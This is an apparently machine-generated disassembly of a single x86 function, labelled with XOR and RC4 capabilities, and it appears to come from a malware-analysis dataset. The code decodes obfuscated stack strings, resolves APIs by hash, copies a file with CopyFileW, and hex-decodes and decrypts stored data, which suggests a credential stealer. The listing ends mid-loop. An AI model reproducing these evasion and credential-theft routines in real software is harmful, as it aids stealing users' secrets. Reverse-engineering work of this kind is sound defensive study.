Function at 0x431992
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push dword [esp + 4]
call fcn.0042c430
add esp, 4
test al, al
je 0x42cbb0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe4
mov dword [esp + 0xa4], 0x9fec99d1
mov dword [esp + 0xa8], 0xa3d69deb
mov dword [esp + 0xac], 0xa7caa1c1
mov dword [esp + 0xb0], 0xabfaa5c8
mov dword [esp + 0xb4], 0xafdaa9c9
mov dword [esp + 0xb8], 0xb3b2adc4
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x1a
xor cl, byte [esp + eax + 0xa4]
add cl, 0x7e
mov byte [esp + eax + 0xa4], cl
inc eax
cmp eax, 0x18
jne 0x42cc00
mov dword [esp + 0x10], 0x2370218c
mov dword [esp + 0x14], 0x27612561
mov dword [esp + 0x18], 0x3b693961
mov dword [esp + 0x1c], 0x3f6c3d68
mov dword [esp + 0x20], 0x339e3199
mov dword [esp + 0x24], 0x37773569
mov dword [esp + 0x28], 0xb52094b
mov dword [esp + 0x2c], 0xf500d55
mov dword [esp + 0x30], 0x3ae0145
mov dword [esp + 0x34], 0x7590557
mov dword [esp + 0x38], 0x1b4e195e
mov dword [esp + 0x3c], 0x1f5f1d4b
mov dword [esp + 0x40], 0x13571142
mov dword [esp + 0x44], 0x174015b8
mov dword [esp + 0x48], 0x6bd669c9
mov dword [esp + 0x4c], 0x6fcb6dda
mov dword [esp + 0x50], 0x633161cc
mov dword [esp + 0x54], 0x67c365d0
mov dword [esp + 0x58], 0x7bc779d9
mov word [esp + 0x5c], 0x7d7c
mov byte [esp + 0x60], 0
mov word [esp + 0x5e], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x10]
mov esi, eax
and esi, 0xa
mov edi, ecx
xor edi, 0xbf9e905
mov ebp, 0xfc
sub ebp, esi
sub ebp, edi
add esi, edi
add esi, 3
or esi, edx
not edx
or edx, ebp
and edx, esi
add dl, 0xd8
mov byte [esp + ecx + 0x10], dl
inc ecx
add eax, 2
cmp ecx, 0x51
jne case.default.0x42cd26
lea ebp, [esp + 0xa4]
lea ebx, [esp + 0x10]
push ebp
push ebx
call fcn.0043c970
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44d888]
mov ecx, edi
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x42cd30
sub eax, edi
cmp eax, 0xffffffd9
jge 0x42cd50
mov eax, 0xffffffff
jmp 0x42cd53
xor eax, eax
jmp 0x42d703
add eax, 0x26
push eax
call fcn.0040cdd0
add esp, 4
mov esi, eax
mov dword [esp + 0x10], 0x93719174
mov dword [esp + 0x14], 0xaf58ad5b
mov dword [esp + 0x18], 0xab53a956
mov dword [esp + 0x1c], 0xa742a55b
mov dword [esp + 0x20], 0xa355a143
mov dword [esp + 0x24], 0xbf40bd4a
mov dword [esp + 0x28], 0xbb45b941
mov dword [esp + 0x2c], 0xb738b582
mov dword [esp + 0x30], 0xb34cb14c
mov word [esp + 0x34], 0x4d4c
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
mov eax, 0x59104c5c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x59104c4c]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x34
mov byte [esp + eax - 0x59104c4c], cl
inc eax
cmp eax, 0x59104c88
jne 0x42cdd0
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x42ce21
mov edx, edi
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ce10
mov word [eax], 0
movzx ecx, word [esp + 0x10]
test cx, cx
je 0x42ce51
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ce40
mov word [eax], 0
jmp dword [0x44d890]
push edi
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44d8a4]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x44d8a8]
mov dword [esp + 0x10], 0xb1548f49
mov dword [esp + 0x14], 0xb557b34c
mov dword [esp + 0x18], 0xb958b725
mov dword [esp + 0x1c], 0xbd51bb5e
mov dword [esp + 0x20], 0xa142bf55
mov dword [esp + 0x24], 0xa533a345
mov dword [esp + 0x28], 0xa940a74a
mov dword [esp + 0x2c], 0xad43ab43
mov dword [esp + 0x30], 0x5138af82
mov dword [esp + 0x34], 0x55b453b4
mov dword [esp + 0x38], 0x5754
mov edx, 0xdd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx - 0xcd]
mov ebx, edi
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xaf
mov byte [esp + edx - 0xcd], al
inc edx
cmp edx, 0x109
jne case.default.0x42cf5f
push 0
lea ebx, [esp + 0x14]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
mov dword [esp + 0x7c], esi
push esi
call fcn.00444c30
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d8b0]
xor esi, esi
xor edi, edi
jmp dword [0x44d910]
push dword [esp + 0x6c]
call fcn.0040cde0
add esp, 4
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x44d928]
xor eax, eax
test esi, esi
jne 0x42d6cf
jmp 0x42d703
mov ebp, ebx
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0xac]
call fcn.00444f80
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44d8b8]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040cdd0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xb0]
call fcn.00445060
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44d8c0]
mov esi, dword [esp + 0x90]
mov byte [edi + esi], 0
push 0x20
call fcn.0040cdd0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x64], eax
mov ecx, eax
push esi
mov dword [esp + 0x78], edi
push edi
call fcn.0042f600
movzx eax, al
mov dword [esp], 0
xor esi, esi
jmp dword [eax*4 + 0x44d8c8]
mov dword [esp + 0x10], 0xede0eab1
mov dword [esp + 0x14], 0xe6e8d8f1
mov dword [esp + 0x18], 0xedd5d92d
mov dword [esp + 0x1c], 0xc027ecfa
mov dword [esp + 0x20], 0xfacdf0e0
mov dword [esp + 0x24], 0xc8cb2839
mov dword [esp + 0x28], 0xf5f0e8fd
mov dword [esp + 0x2c], 0x67f5
mov byte [esp + 0x30], 0
mov eax, 0xbf769c3f
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x408963d1]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xc5
mov byte [esp + eax + 0x408963d1], cl
inc eax
cmp eax, 0xbf769c60
jne 0x42d0b0
mov ecx, dword [esp + 0x64]
push ebp
call fcn.0042f7f0
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x44d8d0]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov dword [esp], 0
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44d8d8]
jmp dword [0x44d8ec]
mov ebx, dword [esp]
mov edi, dword [esp + 0x74]
jmp dword [0x44d8f0]
mov ebp, dword [esp + 0x64]
mov ecx, ebp
call fcn.0042f950
push ebp
call fcn.0040cde0
add esp, 4
jmp dword [0x44d8f8]
mov eax, dword [esp + 4]
mov dword [esi + eax + 4], ecx
add dword [esp], 8
mov ecx, dword [esp + 8]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov ebp, dword [esp + 0x78]
jmp dword [eax*4 + 0x44d8d8]
mov dword [esp + 8], ecx
mov eax, dword [ecx]
mov dword [esp + 0x68], eax
mov eax, dword [esp]
mov ecx, eax
sub ecx, edi
cmp eax, ebp
mov dword [esp + 4], ecx
je 0x42d199
mov esi, edi
jmp 0x42d229
mov eax, ecx
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42d1b2
mov ebx, eax
mov eax, ebx
and eax, 8
mov ecx, ebx
or ecx, 8
imul ecx, eax
xor eax, 8
mov edx, ebx
and edx, 0xfffffff7
imul edx, eax
add ecx, edx
push ecx
call fcn.0040cdd0
add esp, 4
mov esi, eax
test edi, edi
je 0x42d21b
cmp edi, ebp
je 0x42d212
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x42d1f0
push edi
call fcn.0040cde0
add esp, 4
lea ebp, [esi + ebx*8]
mov eax, esi
mov ecx, dword [esp + 4]
add eax, ecx
mov dword [esp], eax
mov dword [esp + 0x78], ebp
mov dword [esi + ecx], 0
mov dword [esi + ecx + 4], 0
xor ebx, ebx
mov ebp, dword [esp + 0x68]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x42d250
push ebx
call fcn.0040cdd0
add esp, 4
mov ecx, dword [esp + 4]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x42d2b4
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x42d150
mov dword [esp + 0xc], esi
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x68]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ebp, edx
shr ebp, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, ebp
mov esi, edi
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edi
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edi
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, esi
xor edi, ebp
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42d2d0
not ecx
mov esi, dword [esp + 0xc]
jmp 0x42d150
jmp dword [0x44d8f8]
push edi
call fcn.0040cde0
add esp, 4
mov eax, dword [case.0x42cf5f.1]
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ebp, esi
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x10], 0x2c2d2e2f
mov word [esp + 0x14], 0
mov ecx, 0xf8a5adb8
nop
movzx edx, byte [esp + ecx + 0x75a5258]
xor edx, ecx
mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5258], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42d3b0
mov ecx, dword [0x451440]
test ecx, ecx
je 0x42d40c
mov edx, dword [esp + 0x10]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42d400
inc esi
cmp ecx, esi
jne 0x42d3f0
jmp 0x42d40c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42d80e
mov edi, ebx
mov esi, ebp
lea ebp, [esp + 0xa4]
jmp dword [0x44d910]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x44d928]
mov dword [esp], edi
mov eax, edi
mov dword [esp + 0xc], esi
sub eax, esi
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x10], 0x29662b0f
mov dword [esp + 0x14], 0x2d4b2fb9
mov dword [esp + 0x18], 0x513e534b
mov dword [esp + 0x1c], 0x55c65717
mov dword [esp + 0x20], 0x591e5bc4
mov dword [esp + 0x24], 0x5dca5f3f
mov dword [esp + 0x28], 0x4169433b
mov dword [esp + 0x2c], 0x4533473c
mov dword [esp + 0x30], 0x49214bd0
mov dword [esp + 0x34], 0x4ddd4f2f
mov dword [esp + 0x38], 0x711e7330
mov dword [esp + 0x3c], 0x751377e1
mov dword [esp + 0x40], 0x79167b13
mov dword [esp + 0x44], 0x7de47f2a
mov dword [esp + 0x48], 0x61086318
lea eax, [esp + 0x4c]
mov word [esp + 0x4c], 0x6760
mov dword [esp + 0x4e], 0
mov byte [esp + 0x52], 0
mov ecx, 0x8d9d9337
nop
nop
movzx edx, byte [esp + ecx + 0x72626cd9]
xor edx, ecx
mov esi, edx
and esi, 0x6c
xor edx, 0xec
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x72626cd9], dl
inc ecx
cmp ecx, 0x8d9d937a
jne 0x42d500
lea edx, [esp + 0x10]
mov edi, ebp
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xe0]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0xa0]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x45143c]
mov edi, dword [esp + 0xa0]
test edi, edi
jns 0x42d575
mov eax, 0xffffffff
jmp 0x42d578
lea eax, [edi + edi]
push eax
call fcn.0040cdd0
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1e
push ebp
push 0
call dword [0x45143c]
lea eax, [esp + 0x70]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x88], ebx
push ebx
call fcn.00444c30
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d930]
xor edx, edx
mov ebx, dword [esp + 4]
mov edi, dword [esp]
mov esi, dword [esp + 0xc]
jmp dword [0x44da08]
push dword [esp + 0x78]
mov ebp, edx
call fcn.0040cde0
add esp, 4
mov edx, ebp
mov eax, edx
and al, 1
movzx ecx, al
mov eax, ebp
jmp dword [ecx*4 + 0x44da10]
mov dword [esp], edi
mov dword [esp + 0xc], esi
mov ebp, ebx
mov byte [ebx], 0
mov dword [esp + 0x10], 0xd0e0f5f
mov dword [esp + 0x14], 0x131360b
mov dword [esp + 0x18], 0x1c08060f
mov dword [esp + 0x1c], 0x2a1e3e59
mov dword [esp + 0x20], 0x355f102f
mov dword [esp + 0x24], 0x1b251e11
mov dword [esp + 0x28], 0xf1125911
mov dword [esp + 0x2c], 0x7bec
mov eax, 0x1ee092e5
mov ecx, 0x1a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x1ee092d5]
mov esi, ecx
and esi, 0x4c
mov edi, eax
xor edi, 0x4c
mov ebx, eax
or ebx, 0xb3
and ebx, edi
or ebx, esi
mov esi, edx
and esi, 0x4c
or esi, 1
and edx, 0xffffffb3
xor edx, ebx
xor edx, esi
xor dl, 0x4d
add dl, 0x87
mov byte [esp + eax - 0x1ee092d5], dl
inc eax
dec ecx
cmp eax, 0x1ee09305
jne 0x42d650
mov eax, dword [esp + 4]
sub ebp, eax
mov ecx, dword [esp + 0xf8]
push ebp
push eax
lea eax, [esp + 0x18]
push eax
call fcn.0040d8f0
mov edi, dword [esp]
mov esi, dword [esp + 0xc]
jmp dword [0x44da18]
push dword [esp + 4]
mov ebx, eax
call fcn.0040cde0
mov eax, ebx
add esp, 4
and al, 1
test esi, esi
je 0x42d703
cmp esi, edi
je 0x42d703
mov ebp, eax
mov ebx, esi
jmp 0x42d6e7
add esi, 8
cmp esi, edi
je 0x42d6f8
mov eax, dword [esi]
test eax, eax
je 0x42d6e0
push eax
call fcn.0040cde0
add esp, 4
jmp 0x42d6e0
push ebx
call fcn.0040cde0
add esp, 4
mov eax, ebp
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44d93c]
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0x78]
call fcn.00444f80
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0x78]
call fcn.00444f80
add esp, 0xc
jmp dword [0x44d940]
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44d958]
mov esi, dword [esp + 0x7c]
lea eax, [esi + 1]
push eax
call fcn.0040cdd0
add esp, 4
push 0
push esi
mov dword [esp + 0x8c], eax
push eax
push dword [esp + 0x7c]
call fcn.00445060
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44d960]
mov esi, dword [esp + 0x7c]
mov edi, dword [esp + 0x84]
mov byte [edi + esi], 0
push 0x20
call fcn.0040cdd0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x80], eax
mov ecx, eax
push esi
push edi
call fcn.0042f600
movzx eax, al
mov dword [esp + 8], 0
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44d968]
jmp dword [0x44d970]
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
mov edi, ebx
mov esi, ebp
lea ebp, [esp + 0xa4]
jmp dword [0x44d910]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44d988]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
jne case.default.0x42d85e
mov edi, dword [esi + 0x10]
test edx, edx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d990]
xor edi, edi
test edx, edx
setne al
test edi, 0
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d990]
mov dword [esp + 0x9c], edx
mov dword [esp + 0x6c], esi
mov eax, edi
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x42d8c2
mov dword [esp + 0x74], ebx
sub ecx, edi
inc ecx
shr ecx, 1
mov dword [esp + 0x98], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cdd0
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x64], eax
jmp dword [edx*4 + 0x44d998]
inc edi
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44d998]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x42d8f2
mov edx, 0xffffffff
or ecx, 0x20
lea esi, [ecx - 0x61]
cmp esi, 6
jae case.default.0x42d90d
add ecx, 0xffffffa9
mov edx, ecx
movsx ecx, byte [edi + 1]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x44d9a0]
lea esi, [ecx - 0x30]
cmp esi, 0xa
jb 0x42d921
mov esi, 0xffffffff
or ecx, 0x20
lea ebp, [ecx - 0x61]
cmp ebp, 6
jae case.default.0x42d946
add ecx, 0xffffffa9
mov esi, ecx
shl edx, 4
or edx, esi
add edi, 2
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44d998]
mov byte [eax], 0
mov dword [esp + 0x68], 0
push 0
push 0x10
push 0
push dword [esp + 0xa8]
call fcn.0042f9f0
add esp, 0x10
xor ecx, ecx
mov edi, dword [esp]
mov ebp, dword [esp + 0xc]
cmp ebp, edi
setne cl
jmp dword [ecx*4 + 0x44d9a8]
mov ecx, dword [ebp]
mov dword [esp + 0x68], ecx
xor ebx, ebx
mov edi, esi
jmp dword [ebx*4 + 0x44d9b8]
add ebp, 8
xor ebx, ebx
cmp ebp, edi
setne bl
jmp dword [ebx*4 + 0x44d9a8]
mov esi, edi
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x44d9b0]
mov ecx, 1
mov edi, esi
jmp dword [ecx*4 + 0x44d9b8]
xor eax, eax
mov ebp, dword [esp + 0x68]
test ebp, ebp
setne al
mov ebx, dword [esp + 0x74]
mov esi, dword [esp + 0x6c]
jmp dword [eax*4 + 0x44d9c0]
mov eax, dword [esp + 0x98]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 0x14], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42da87
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], ebp
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
push 0x14e20a34
push dword [0x45144c]
call fcn.004442e0
add esp, 8
lea ecx, [esp + 0x88]
lea edx, [esp + 0x90]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x28]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d9c8]
mov eax, dword [case.0x42cf5f.67]
jmp case.0x42cf5f.71
movzx eax, byte [ebp]
test al, al
je 0x42dabc
inc ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ebp]
inc ebp
test al, al
jne 0x42dab0
mov word [ebx], 0x203a
add ebx, 2
mov edx, dword [esp + 0x88]
test edx, edx
je 0x42db00
mov eax, dword [esp + 0x8c]
mov ecx, edx
and ecx, 3
je 0x42db04
xor esi, esi
nop
mov ebp, ebx
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [ebp + esi], bl
mov ebx, ebp
inc esi
cmp ecx, esi
jne 0x42dae0
add ebx, esi
mov ecx, edx
sub ecx, esi
mov esi, ebx
jmp 0x42db06
mov esi, ebx
jmp 0x42db49
mov ecx, edx
cmp edx, 4
jb 0x42db49
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [ebx], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [ebx + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [ebx + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [ebx + 4]
mov byte [ebx + 3], dl
mov ebx, esi
add ecx, 0xfffffffc
jne 0x42db10
mov byte [esi], 0xa
inc esi
push 0xbe5098bb
push dword [0x451434]
call fcn.004442e0
add esp, 8
push dword [esp + 0x8c]
call eax
mov al, 1
mov dword [esp + 8], eax
mov eax, dword [case.0x42cf5f.67]
mov ebx, esi
mov esi, dword [esp + 0x6c]
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp], edi
jmp dword [0x44d9e0]
push dword [esp + 0x64]
call fcn.0040cde0
add esp, 4
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44d988]
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x10]
push eax
call fcn.0042f7f0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x44d980]
jmp dword [0x44d9e8]
mov esi, dword [esp + 0x80]
mov ecx, esi
call fcn.0042f950
push esi
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44d9f8]
jmp dword [0x44da00]
push dword [esp + 0x84]
call fcn.0040cde0
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [esp + 0x10], 0x2c2d2e2f
mov word [esp + 0x14], 0
mov ecx, 0xf8a5adb8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x75a5258]
xor edx, ecx
mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5258], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42dc40
mov ecx, dword [0x451440]
test ecx, ecx
je 0x42dc98
mov edx, dword [esp + 0x10]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42dc90
inc esi
cmp ecx, esi
jne 0x42dc80
jmp 0x42dc98
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42dcbf
mov edi, dword [esp]
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 8]
jmp dword [0x44da08]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x44da10]
jmp dword [0x44da18]
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
mov edi, dword [esp]
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 8]
jmp dword [0x44da08]
add eax, 8
mov dword [esp + 8], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44d988]
mov dword [esp + 0x10], 0xd7e4eef3
mov dword [esp + 0x14], 0xe2d4e4d3
mov dword [esp + 0x18], 0xe7ebff27
mov dword [esp + 0x1c], 0xfc21e8da
mov dword [esp + 0x20], 0x1e131424
mov dword [esp + 0x24], 0x1919f6db
mov dword [esp + 0x28], 0x2f191c16
mov dword [esp + 0x2c], 0x171d1cff
mov dword [esp + 0x30], 0xa105
mov eax, 0xef
mov ecx, 0x9afba70f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xdf]
lea edx, [eax - 0x4d7dd3ff]
or edx, esi
not esi
or esi, ecx
mov edi, esi
not edi
or edx, edi
add edx, esi
inc edx
mov edi, edx
and edi, 0x83751f4d
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov ebx, edx
and ebx, 2
mov ebp, 0xfffffffe
sub ebp, edi
imul ebp, ebx
xor edx, 0x7c8ae0b0
add edx, esi
lea esi, [edx + ebp]
add edx, ebp
inc edx
lea esi, [esi*2 + 2]
sub edx, esi
inc dl
mov byte [esp + eax - 0xdf], dl
inc eax
dec ecx
cmp eax, 0x113
jne 0x42dd60
mov dword [esp + 0x10], 0xd7e4eef3
mov dword [esp + 0x14], 0xe2d4e4d3
mov dword [esp + 0x18], 0xe7ebff27
mov dword [esp + 0x1c], 0xfc21e8da
mov dword [esp + 0x20], 0x1e131424
mov dword [esp + 0x24], 0x1919f6db
mov dword [esp + 0x28], 0x2f191c16
mov dword [esp + 0x2c], 0x171d1cff
mov dword [esp + 0x30], 0xa105
mov eax, 0xef
mov ecx, 0x9afba70f
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xdf]
lea edx, [eax - 0x4d7dd3ff]
or edx, esi
not esi
or esi, ecx
mov edi, esi
not edi
or edx, edi
add edx, esi
inc edx
mov edi, edx
and edi, 0x83751f4d
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov ebx, edx
and ebx, 2
mov ebp, 0xfffffffe
sub ebp, edi
imul ebp, ebx
xor edx, 0x7c8ae0b0
add edx, esi
lea esi, [edx + ebp]
add edx, ebp
inc edx
lea esi, [esi*2 + 2]
sub edx, esi
inc dl
mov byte [esp + eax - 0xdf], dl
inc eax
dec ecx
